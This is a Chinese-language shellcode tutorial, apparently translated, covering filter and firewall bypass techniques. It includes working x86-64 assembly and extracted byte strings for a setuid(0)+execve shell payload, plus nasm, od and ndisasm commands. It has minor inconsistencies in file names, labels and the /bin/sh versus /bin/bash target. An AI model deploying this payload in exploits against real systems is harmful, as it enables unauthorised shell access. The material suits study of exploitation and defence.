Shellcode

综述

意译:category:Shellcode

Shellcode,也叫bytecode,是用在缓冲区溢出漏洞挖掘中的机器码(用十六进制表示的二进制文件),或者为了方便人类阅读写成汇编。程序员能使用机器码,用汇编方法写任何应用程序(就像所有其它高级编程语言一样)。并且不像很多语言只限定在某个操作系统或指令架构上。

shellcode需要位计算、linux汇编和栈溢出的基础知识。

[TOC]

每种语言最后都解释为二进制,不管是编译的(compile-time)还是解释(runtime)。编写缓冲区溢出时要记住,有很多潜在的来自安全机制的障碍(比如DEP、ASLR、防火墙、或者IDS或者IPS应用)。一次面对现代对策的成功漏洞利用,需要利用许多过滤绕过和IDS侵入技术。

类型

根据执行代码的目标环境有许多类型的shellcode,在OSI模型不同层次有不同种类的对策,需要有不同的技术来成功挖掘指定的应用漏洞。

可执行程序(executable) vs 基于返回的(return-oriented)

大致从运行时观点看有两种shellcode:可执行shellcode和基于返回的shellcode。这要看目标环境是否能执行数据栈来决定选择哪种。如果目标合适,基于返回的shellcode无视栈是否能执行,而可执行的shellcode只能在可执行栈上运行。

  • 可执行shellcode在它相应的目标操作系统中用汇编写成,大多数可执行shellcode,或者传统的null-free shellcode,可以用在任何有漏洞且有可执行栈的应用上。
  • 基于返回的shellcode当堆栈不可执行时利用ROP(return oriented programming).通常通过构造调用栈模仿正常的编译程序来调用可执行shellcode。因为调用栈被视为数据,这在漏洞挖掘中绕过了需要栈可执行的限制。

然而,特定指令集架构比如MIPS,不能使用基于返回的编程技术或者传统的堆栈溢出,因为它们不在栈上存储返回地址。

对策和措施

尽管传统二进制shellcode通常能顺利工作在没过滤机制、没打补丁、或者大输入的情况下,许多目标环境和应用也有许多限制因素来组织传统机器码执行。许多C或者C++写成的应用都需要机器码是null-free的(没有=\x00=),这就是为何null-free shellcode是可执行shellcode编程的传统基础形式。

  • 字符过滤可以利用多态(自修改)来在允许字符集外运行时构造字节,来绕过限制。许多字符过滤限制到可打印字符集,所以ascii和alphanumeric shellcode变成该技术的主导技术。
  • 字符编码能通过编码载荷使之解码为相应的十六进制机器码绕过。通常代码必须在被拷贝到有漏洞的缓冲区前经过unicode、base64、大小写转换或者其它解码仍然存在。
  • 缓冲区尺寸也许惊人有限,某些环境中载荷太大不能放入缓冲区,这时就需要二次注入技术(second-order-injection)。结果是shellcode尺寸保持在最小来优化重用。
  • 防火墙通过阻碍外出连接或者监听socket接收流量来限制远程shellcode。绕过防火墙技术可以通过文件描述符重用技术实现。
  • 分析者可能调试有漏洞的应用尝试逆向工程挖掘过程。int3断点探测和单向哈希(one-way hashing)技术能组织取证分析工具比如volatility
  • 签名通常特别阻止linux shellcode因为系统调用传统上被用来作为C调用风格的接口,因此大多给定shellcode的静态部分都有个C接口。甚至多态和自修改代码通常都生成包含系统调用的shellcodes。系统调用可以通过子链接代码实现。

shellcode机理

shellcode通常用汇编写成。尽管有人能记住助记符表来直接写机器码,这并不适合初学者所以不推荐。

环境因子:

  • 许多应用和安全措施组件都部分过滤输入,限制指令集的可能。有时候这在覆盖返回地址时甚至都有影响。
  • 操作系统对C API有不同的处理。通常(不是总是)linux上的shellcode依赖内核终端或者没链接的(unlinked)调用,而微软windows不提供中断API,shellcode必须利用PE解析来执行运行时链接。

汇编代码

创建一个叫=testshellcode.s=的文件

这个例子使用hatter的32字节 null-free payload,这个shellcode完成=setuid(0);execve('/bin/sh', null, null)=。拷贝以下代码到=testshellcode.s=并保存。

BITS 64
global _start
start:
    xor rdi, rdi
    push qword 0x69
    pop rax
    syscall

    push rdi
    push rdi
    pop rsi
    pop rdx
    push qword 0x68
    mov rax, qword 0x7361622f6e69622f
    push rax
    push rsp
    pop rdi
    push qword 0x3b
    pop rax
    syscall

我又是用nasm编译而不是gas。。。

nasm test_shellcode.s -o test_shellcode.o

提取shellcode

提取二进制字节码有许多方法,objdump可以(不过这时nasm生成的目标文件不包含二进制文件信息,所以要指定=nasm -felf64=这样生成包含符号表或者ELF文件头的文件), hexdump可以看。。。。。。不过译者喜欢用ndiasm,显然必须指定类型什么的。

 ~/Work/project/blackhat/shellcode  ndisasm -b64 -pamd test_shellcode.o
00000000  4831FF            xor rdi,rdi
00000003  6A69              push byte +0x69
00000005  58                pop rax
00000006  0F05              syscall
00000008  57                push rdi
00000009  57                push rdi
0000000A  5E                pop rsi
0000000B  5A                pop rdx
0000000C  6A68              push byte +0x68
0000000E  48B82F62696E2F62  mov rax,0x7361622f6e69622f
         -6173
00000018  50                push rax
00000019  54                push rsp
0000001A  5F                pop rdi
0000001B  6A3B              push byte +0x3b
0000001D  58                pop rax
0000001E  0F05              syscall

中间部分包含指定汇编的字节指令。大多数调试器也展示对应汇编代码的十六进制记法。

 ~/Work/project/blackhat/shellcode  od -t x1 test_shellcode.o | awk '{$1=""; print}'|sed 'N;s/\n//g;s/ /\\x/g' 
\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x62\x61\x73\x50\x54\x5f\x6a\x3b\x58\x0f\x05

shellcode反汇编

许多次你看到来自‘野外的'shellcode,例如分析恶意软件和新的exploit,这时你需要反汇编shellcode来学习。最简单的方式是使用objdump(还是习惯ndiasm,呵呵)本例我们使用我们构建的实例。

就是这么简单:

 ~/Work/project/blackhat/shellcode   echo -en "\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" > shellcode ; ndisasm -b64 -pamd shellcode      
00000000  4831FF            xor rdi,rdi
00000003  6A69              push byte +0x69
00000005  58                pop rax
00000006  0F05              syscall
00000008  57                push rdi
00000009  57                push rdi
0000000A  5E                pop rsi
0000000B  5A                pop rdx
0000000C  48BF6A2F62696E2F  mov rdi,0x68732f6e69622f6a
         -7368
00000016  48C1EF08          shr rdi,byte 0x8
0000001A  57                push rdi
0000001B  54                push rsp
0000001C  5F                pop rdi
0000001D  6A3B              push byte +0x3b
0000001F  58                pop rax
00000020  0F05              syscall